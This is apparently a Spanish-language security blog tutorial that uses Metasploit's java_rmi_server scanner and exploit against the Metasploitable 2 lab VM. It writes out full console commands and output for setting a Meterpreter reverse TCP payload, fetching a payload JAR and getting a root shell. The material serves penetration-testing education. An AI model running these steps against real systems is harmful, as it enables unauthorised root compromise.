Explotando el Remote Method Invocation (RMI) de Java para obtener acceso root

Metasploit

En el mundo de la tecnología, a menudo hay un equilibrio entre comodidad y seguridad. La Invocación del método remoto de Java es un sistema en el que la compensación es demasiado real. La capacidad de un programa escrito en Java para comunicarse con otro programa de forma remota puede ampliar considerablemente la capacidad de uso de una aplicación, pero también puede abrir vulnerabilidades críticas que permiten que un atacante la comprometa.

En este tutorial, usaremos Metasploit Framework para atacar una instancia insegura de un servidor de Java RMI ubicado en Metasploitable 2, una máquina virtual vulnerable.

· Introducción a Java RMI

La Invocación de método remoto de Java, o RMI de Java, es un mecanismo que permite que un objeto que existe en una máquina virtual de Java acceda y llame a métodos que están contenidos en otra máquina virtual de Java; Básicamente, es lo mismo que una llamada de procedimiento remoto, pero en un paradigma orientado a objetos en lugar de uno de procedimiento, que permite la comunicación entre programas Java que no están en el mismo espacio de direcciones.

Una de las principales ventajas de RMI es la capacidad de los objetos remotos para cargar nuevas clases que todavía no están definidas explícitamente, extendiendo el comportamiento y la funcionalidad de una aplicación.

Las aplicaciones RMI generalmente consisten en dos programas: un cliente y un servidor. Cuando se crea el servidor, los métodos de sus objetos se ponen a disposición del cliente. La comunicación es manejada por dos objetos intermedios: el talón (stub) y el esqueleto (skeleton).

El stub se encuentra en el lado del cliente y envía información al servidor, como un identificador para el objeto remoto, el nombre del método a invocar y otros parámetros relevantes. El skeleton reside en el servidor y pasa la solicitud del cliente al objeto remoto.

Las vulnerabilidades surgen cuando la configuración predeterminada e insegura del servidor está presente, lo que permite que las clases se carguen desde cualquier URL remota. Dado que las llamadas de método al servidor no requieren ninguna autenticación, esto puede ser explotado. Metasploit contiene un módulo para analizar los puntos finales de Java RMI, así como un módulo para explotar activamente esta vulnerabilidad.

· Escaneo para Java RMI

Inicie Metasploit escribiendo msfconsole en el terminal. Hay un escáner auxiliar que podemos usar para detectar si existe la vulnerabilidad de RMI de Java en nuestro objetivo; Cuando se le solicite, escriba search rmi y localice el módulo "auxiliary/scanner/misc/java_rmi_server".

msf > search rmi
[!] Module database cache not built yet, using slow search

Matching Modules
================

   Name                                                            Disclosure Date  Rank       Description
   ----                                                            ---------------  ----       -----------
   auxiliary/scanner/misc/java_rmi_server                          2011-10-15       normal     Java RMI Server Insecure Endpoint Code Execution Scanner
   exploit/multi/misc/java_rmi_server                              2011-10-15       excellent  Java RMI Server Insecure Default Configuration Java Code Execution

A continuación escriba en la consola msf "use auxiliary/scanner/misc/java_rmi_server" y luego vean las opciones escribiendo "options".

msf > use auxiliary/scanner/misc/java_rmi_server
msf auxiliary(scanner/misc/java_rmi_server) > options

Module options (auxiliary/scanner/misc/java_rmi_server):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target address range or CIDR identifier
   RPORT    1099             yes       The target port (TCP)
   THREADS  1                yes       The number of concurrent threads

Ahora necesitamos especificar el objetivo escribiendo set rhosts $IP (use la dirección IP de su propio objetivo). También podemos aumentar la cantidad de subprocesos un poco para que el escáner se ejecute un poco más rápido. Escriba set threads 16 para establecer el número de threads a dieciséis, una cantidad relativamente segura. Finalmente, escriba run para escanear el objetivo.

msf auxiliary(scanner/misc/java_rmi_server) > set rhosts 192.168.0.8
rhosts => 192.168.0.8
msf auxiliary(scanner/misc/java_rmi_server) > set threads 16
threads => 16
msf auxiliary(scanner/misc/java_rmi_server) > run

[+] 192.168.0.8:1099      - 192.168.0.8:1099 Java RMI Endpoint Detected: Class Loader Enabled
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Podemos ver que el escáner detectó un punto final de RMI de Java en el puerto 1099, lo que sugiere que el objetivo puede ser vulnerable. Tratemos de explotarlo.

· Explotando Java RMI

De vuelta en nuestros resultados de búsqueda anteriores, localice el módulo "exploit/multi/misc/java_rmi_server" y escriba use exploit/multi/misc/java_rmi_server en la consola msf para cargarlo. Podemos ver las opciones que tenemos escribiendo options.

msf auxiliary(scanner/misc/java_rmi_server) > use exploit/multi/misc/java_rmi_server
msf exploit(multi/misc/java_rmi_server) > options

Module options (exploit/multi/misc/java_rmi_server):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
   RHOST                       yes       The target address
   RPORT      1099             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is random)


Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)

Escriba set rhost $IP (con la dirección IP apropiada) para especificar el destino. Todas las demás opciones se pueden dejar por defecto por ahora. A continuación, use show payloads para mostrar las cargas útiles compatibles para este exploit.

msf exploit(multi/misc/java_rmi_server) > set rhosts 192.168.0.8
rhosts => 192.168.0.8
msf exploit(multi/misc/java_rmi_server) > show payloads

Compatible Payloads
===================

   Name                            Disclosure Date  Rank    Description
   ----                            ---------------  ----    -----------
   generic/custom                                   normal  Custom Payload
   generic/shell_bind_tcp                           normal  Generic Command Shell, Bind TCP Inline
   generic/shell_reverse_tcp                        normal  Generic Command Shell, Reverse TCP Inline
   java/meterpreter/bind_tcp                        normal  Java Meterpreter, Java Bind TCP Stager
   java/meterpreter/reverse_http                    normal  Java Meterpreter, Java Reverse HTTP Stager
   java/meterpreter/reverse_https                   normal  Java Meterpreter, Java Reverse HTTPS Stager
   java/meterpreter/reverse_tcp                     normal  Java Meterpreter, Java Reverse TCP Stager
   java/shell/bind_tcp                              normal  Command Shell, Java Bind TCP Stager
   java/shell/reverse_tcp                           normal  Command Shell, Java Reverse TCP Stager
   java/shell_reverse_tcp                           normal  Java Command Shell, Reverse TCP Inline

 Usaremos el todopoderoso Meterpreter aquí con un shell TCP inverso. Escriba set payload java/meterpreter/reverse_tcp para habilitar la carga útil. De nuevo echaremos un vistazo con el comando options.

msf exploit(multi/misc/java_rmi_server) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf exploit(multi/misc/java_rmi_server) > options

Module options (exploit/multi/misc/java_rmi_server):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
   RHOST                       yes       The target address
   RPORT      1099             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is random)


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)

Ya que estamos usando un shell inverso, necesitamos especificar la dirección de escucha. Escriba set lhost $IP (la dirección IP de su máquina atacante), y deberíamos estar listos. Escriba run para lanzar el exploit.

msf exploit(multi/misc/java_rmi_server) > set lhost 192.168.0.5
lhost => 192.168.0.5
msf exploit(multi/misc/java_rmi_server) > set rhost 192.168.0.8
rhost => 192.168.0.8
msf exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.0.5:4444 
[*] 192.168.0.8:1099 - Using URL: http://0.0.0.0:8080/fTTHiyUmDZRqg
[*] 192.168.0.8:1099 - Local IP: http://192.168.0.5:8080/fTTHiyUmDZRqg
[*] 192.168.0.8:1099 - Server started.
[*] 192.168.0.8:1099 - Sending RMI Header...
[*] 192.168.0.8:1099 - Sending RMI Call...
[*] 192.168.0.8:1099 - Replied to request for payload JAR
[*] Sending stage (53867 bytes) to 192.168.0.8
[*] Meterpreter session 1 opened (192.168.0.5:4444 -> 192.168.0.8:47680) at 2018-10-09 19:08:29 -0500
[-] 192.168.0.8:1099 - Exploit failed: RuntimeError Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request
[*] 192.168.0.8:1099 - Server stopped.
[*] Exploit completed, but no session was created.

Podemos ver que el exploit inició un controlador en nuestro sistema, envió la llamada del método RMI al objetivo y que se abrió con éxito una sesión de Meterpreter aunque la sesión no se creo, podemos ver que está abierta usando sessions -l, para interactuar con la sesión abierta usaremos sessions -i 1. Ahora podemos usar comandos como getuid, para ver al usuario que Meterpreter está ejecutando como en el objetivo, y sysinfo, para mostrar información sobre el objetivo.

msf exploit(multi/misc/java_rmi_server) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > ls
Listing: /
==========

Mode              Size     Type  Last modified              Name
----              ----     ----  -------------              ----
40666/rw-rw-rw-   4096     dir   2012-05-13 22:35:33 -0500  bin
40666/rw-rw-rw-   1024     dir   2012-05-13 22:36:28 -0500  boot
40666/rw-rw-rw-   4096     dir   2010-03-16 17:55:51 -0500  cdrom
40666/rw-rw-rw-   13480    dir   2018-08-09 10:40:04 -0500  dev
40666/rw-rw-rw-   4096     dir   2018-08-09 11:05:47 -0500  etc
40666/rw-rw-rw-   4096     dir   2010-04-16 01:16:02 -0500  home
40666/rw-rw-rw-   4096     dir   2010-03-16 17:57:40 -0500  initrd
100666/rw-rw-rw-  7929183  fil   2012-05-13 22:35:56 -0500  initrd.img
40666/rw-rw-rw-   4096     dir   2012-05-13 22:35:22 -0500  lib
40666/rw-rw-rw-   16384    dir   2010-03-16 17:55:15 -0500  lost+found
40666/rw-rw-rw-   4096     dir   2010-03-16 17:55:52 -0500  media
40666/rw-rw-rw-   4096     dir   2010-04-28 15:16:56 -0500  mnt
100666/rw-rw-rw-  7984     fil   2018-08-09 09:15:35 -0500  nohup.out
40666/rw-rw-rw-   4096     dir   2010-03-16 17:57:39 -0500  opt
40666/rw-rw-rw-   0        dir   2018-08-09 09:15:05 -0500  proc
40666/rw-rw-rw-   4096     dir   2018-08-09 09:15:35 -0500  root
40666/rw-rw-rw-   4096     dir   2012-05-13 20:54:53 -0500  sbin
40666/rw-rw-rw-   4096     dir   2010-03-16 17:57:38 -0500  srv
40666/rw-rw-rw-   0        dir   2018-08-09 09:15:06 -0500  sys
40666/rw-rw-rw-   4096     dir   2018-08-09 11:15:27 -0500  tmp
40666/rw-rw-rw-   4096     dir   2010-04-27 23:06:37 -0500  usr
40666/rw-rw-rw-   4096     dir   2012-05-20 16:30:19 -0500  var
100666/rw-rw-rw-  1987288  fil   2008-04-10 11:55:41 -0500  vmlinuz

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer    : metasploitable
OS          : Linux 2.6.24-16-server (i386)
Meterpreter : java/linux
meterpreter > 

Para poder usar los comandos que normalmente usamos en Bash, escribimos shell dentro de la consola meterpreter para obtener una shell del sistema.

meterpreter > shell
Process 1 created.
Channel 1 created.
whoami
root
id
uid=0(root) gid=0(root)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Ahora tenemos acceso root y podemos hacer lo que se nos antoje en el sistema. Las buenas intenciones y la promesa de una funcionalidad mejorada a menudo pueden llevar a vulnerabilidades en una aplicación, como fue el caso que vimos aquí. Hoy, cubrimos la arquitectura básica y el comportamiento de la invocación del método remoto de Java, cómo determinar si una vulnerabilidad está presente y cómo explotar esa vulnerabilidad con Metasploit para finalmente obtener acceso a la raíz en el destino. Básicamente, pudimos ser dueños de todo el sistema debido a una configuración insegura.

Síguenos en FacebookTwitterunete a nuestro chat en Discord y no olvides compartirnos en las redes sociales. También puede hacernos una donación o comprar nuestros servicios.

Acerca del autor

Especialista en Seguridad Informática bajo certificación OSCP, experto en técnicas de privacidad y seguridad en la red, desarrollador back-end, miembro de la FSF y Fundador de Security Hack Labs. Desarrollador de la distribución de hacking BlackArch Linux. Twitter: @edu4rdshl XMPP: [email protected]